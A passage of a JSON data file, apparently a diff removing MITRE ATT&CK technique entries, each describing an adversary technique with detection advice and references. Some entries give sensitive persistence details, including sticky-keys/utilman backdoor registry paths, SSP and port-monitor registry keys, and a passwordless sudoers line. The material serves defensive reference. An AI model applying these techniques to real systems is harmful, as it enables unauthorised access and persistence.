Administrator, root\n\nPermissions Required: User", - "value": "Dylib Hijacking - T1157", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1157", - "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" - ], - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda" - }, - { - "description": "An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials", - "value": "Remote Services - T1021", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1021" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba" - }, - { - "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n*Magnifier: C:\\Windows\\System32\\Magnify.exe\n*Narrator: C:\\Windows\\System32\\Narrator.exe\n*Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n*App Switcher: C:\\Windows\\System32\\AtBroker.exe\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center", - "value": "Accessibility Features - T1015", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1015", - "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", - "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", - "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3" - }, - { - "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Access to shared folders and content with write permissions", - "value": "Taint Shared Content - T1080", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1080" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c" - }, - { - "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley, Travis Smith, Tripwire", - "value": "External Remote Services - T1133", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1133", - "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d" - }, - { - "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)", - "value": "Application Deployment Software - T1017", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1017" - ], - "mitre_data_sources": [ - "File monitoring", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" - }, - { - "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n* '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017)\n* '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by Rootkits to conceal files,\nprocesses, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\n\nDetection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs\n\nPermissions Required: Administrator, SYSTEM", - "value": "Hooking - T1179", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1179", - "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", - "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/", - "https://www.exploit-db.com/docs/17802.pdf", - "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", - "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", - "https://github.com/prekageo/winhook", - "https://github.com/jay/gethooks", - "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/", - "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/", - "http://www.gmer.net/", - "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx", - "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" - ], - "mitre_data_sources": [ - "API monitoring", - "Binary file metadata", - "DLL monitoring", - "Loaded DLLs", - "Process Monitoring", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "66f73398-8394-4711-85e5-34c8540b22a5" - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.", - "value": "Automated Collection - T1119", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1119" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Data loss prevention" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "30208d3e-0d6b-43c8-883e-44462a514619" - }, - { - "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator", - "value": "Security Support Provider - T1101", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1101", - "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", - "https://technet.microsoft.com/en-us/library/dn408187.aspx" - ], - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446" - }, - { - "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User", - "value": "Sudo - T1169", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1169", - "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" - ], - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72" - }, - { - "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet", - "value": "Office Application Startup - T1137", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1137", - "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea", - "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", - "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", - "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", - "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", - "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", - "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Windows Registry", - "File monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53" - }, - { - "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias", - "value": "Rundll32 - T1085", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1085", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" - ], - "mitre_data_sources": [ - "File monitoring", - "Binary file metadata", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5" - }, - { - "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver", - "value": "Network Sniffing - T1040", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1040" - ], - "mitre_data_sources": [ - "Network device logs", - "Host network interface", - "Netflow/Enclave netflow" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529" - }, - { - "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n*Local Port\n*Standard TCP/IP Port\n*USB Monitor\n*WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire", - "value": "Port Monitors - T1013", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1013", - "http://msdn.microsoft.com/en-us/library/dd183341", - "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "mitre_data_sources": [ - "File monitoring", - "API monitoring", - "DLL monitoring", - "Windows Registry", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125" - }, - { - "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may would prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG", - "value": "Browser Extensions - T1176", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1176", - "https://en.wikipedia.org/wiki/Browser%20extension", - "https://developer.chrome.com/extensions", - "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf", - "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/", - "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/", - "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)", - "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/", - "https://kjaer.io/extension-malware/" - ], - "mitre_data_sources": [ - "Network protocol analysis", - "Packet capture", - "System calls", - "Process use of network", - "Process monitoring", - "Browser extensions" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8" - }, - { - "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, heuristic detection, Signature-based detection", - "value": "Software Packing - T1045", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1045", - "http://en.wikipedia.org/wiki/Executable%20compression" - ], - "mitre_data_sources": [ - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88" - }, - { - "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User", - "value": "Application Window Discovery - T1010", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1010" - ], - "mitre_data_sources": [ - "API monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ] - }, - "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830" - }, - { - "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as ) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes", - "value": "Multi-hop Proxy - T1188", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1188" - ], - "mitre_data_sources": [ - "Network protocol analysis", - "Netflow/Enclave netflow" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "7d751199-05fa-4a72-920f-85df4506c76c" - }, - { - "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM", - "value": "Hypervisor - T1062", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1062", - "https://en.wikipedia.org/wiki/Hypervisor", - "http://en.wikipedia.org/wiki/Xen", - 